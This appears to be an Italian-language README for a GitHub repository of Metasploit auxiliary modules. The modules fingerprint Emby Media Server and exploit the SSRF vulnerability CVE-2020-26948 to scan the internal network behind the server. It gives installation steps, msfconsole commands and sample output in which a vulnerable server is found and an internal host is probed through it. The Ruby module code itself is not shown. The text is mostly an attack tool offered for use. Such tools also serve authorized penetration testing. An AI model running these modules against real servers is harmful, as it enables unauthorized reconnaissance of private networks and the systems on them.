btnz-k/emby_ssrfModulo ausiliario di Metasploit che identifica la versione di Emby Media Server e sfrutta la vulnerabilità SSRF CVE-2020-26948 per scansionare i servizi della rete interna.
Questo strumento verifica un server EMBY remoto per tentare di utilizzare una vulnerabilità SSRF ed eseguire una scansione http della rete interna al server EMBY. Si basa sulla vulnerabilità CVE-2020-26948.
Clona il repository e inserisci i file rb nella directory /usr/share/metasploit-framework/modules/auxiliary/scanner/http/. Avvia msfconsole e utilizza i moduli da lì.
use auxiliary/scanner/http/emby_version_ssrfset rhosts [ips]runmsf6 > use auxiliary/scanner/http/emby_version_ssrf
msf6 auxiliary(scanner/http/emby_version_ssrf) > set rhosts 10.10.200.32
rhosts => 10.10.200.32
msf6 auxiliary(scanner/http/emby_version_ssrf) > run
[*] Identifying Media Server Version on 10.10.200.32:8096
[+] [Media Server] URI: http://10.10.200.32:8096 /
[+] [Media Server] Version: 4.4.2.0
[+] [Media Server] Internal IP: http://192.168.2.3:8096
[+] *** Vulnerable to SSRF module auxiliary/scanner/emby_ssrf_scanner! ***
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
use auxiliary/scanner/http/emby_ssrf_scannerset rhosts [ips]set emby_server [emby_server_ip]runmsf6 > use auxiliary/scanner/http/emby_ssrf_scanner
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set emby_server 10.10.200.32
emby_server => 10.10.200.32
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > set rhosts 192.168.2.3
rhosts => 192.168.2.3
msf6 auxiliary(scanner/http/emby_ssrf_scanner) > run
[+] 192.168.2.3:8096 Title: Emby
[+] 192.168.2.3:8096 HTTP Code: 200
[+] 192.168.2.3:8096 Location Header:
[+] 192.168.2.3:8096 Server Header: UPnP/1.0 DLNADOC/1.50
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed